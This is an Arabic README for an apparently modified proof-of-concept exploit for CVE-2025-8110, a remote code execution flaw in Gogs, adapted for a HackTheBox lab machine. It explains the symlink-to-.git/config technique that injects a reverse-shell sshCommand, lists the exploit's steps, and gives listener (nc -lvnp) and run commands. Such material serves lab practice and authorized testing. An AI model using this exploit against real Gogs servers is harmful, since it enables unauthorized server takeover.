CVE-2025-8110 — PoC لثغرة RCE في Gogs (Silentium / HackTheBox)

إخلاء مسؤولية: صُمّمت هذه الأداة حصريًا للأغراض التعليمية واختبار الاختراق المصرّح به. استخدمها فقط ضد الأنظمة التي لديك إذن صريح لاختبارها.

هذه نسخة معدّلة من zAbuQasem/gogs-CVE-2025-8110، تم تكييفها للعمل ضد جهاز Silentium على HackTheBox. تطلّب الـ PoC الأصلي تعديلات للتعامل مع إعدادات Gogs الخاصة بجهاز Silentium وسير المصادقة الخاص به.

الثغرة

CVE-2025-8110 هي ثغرة تنفيذ برمجيات عن بُعد (Remote Code Execution) في Gogs، وهي خدمة Git مستضافة ذاتيًا.

لا تتحقق نقطة نهاية واجهة برمجة التطبيقات (API) الخاصة بتحديث الملفات في Gogs (PUT /api/v1/repos/.../contents/<file>) من كون الملف الهدف رابطًا رمزيًا (symlink). يمكن لمهاجم موثّق دفع رابط رمزي إلى مستودع يشير إلى .git/config، ثم استخدام الواجهة البرمجية لاستبداله بحمولة خبيثة. تحقن الحمولة أمر sshCommand مخصصًا في إعدادات git، وينفّذه Gogs من جهة الخادم في المرة التالية التي ينفّذ فيها عملية SSH على ذلك المستودع، مما يؤدي إلى تنفيذ برمجيات عن بُعد.

ماذا يفعل الـ PoC

1. يصادق على Gogs ويستخرج رمز CSRF من صفحة تسجيل الدخول.
2. يولّد رمز API خاص بـ Gogs عبر صفحة إعدادات المستخدم.
3. ينشئ مستودعًا جديدًا عبر الواجهة البرمجية مع تفعيل SSH.
4. يستنسخ المستودع محليًا، ويزرع رابطًا رمزيًا (malicious_link -> .git/config)، ويدفعه إلى المستودع.
5. يستدعي واجهة تحديث الملفات (file-update API) على الرابط الرمزي، لكتابة ملف .git/config خبيث يحتوي على sshCommand = <reverse shell>.
6. يتبع Gogs الرابط الرمزي ويكتب فوق ملف .git/config الخاص به، مما يؤدي إلى تشغيل الصدفة عند عملية SSH التالية.

الاستخدام

تثبيت المتطلبات:

pip install -r requirements.txt

تشغيل مستمع:

nc -lvnp <PORT>

تشغيل الاستغلال:

python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD>

اختياري — التوجيه عبر Burp Suite:

python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD> -x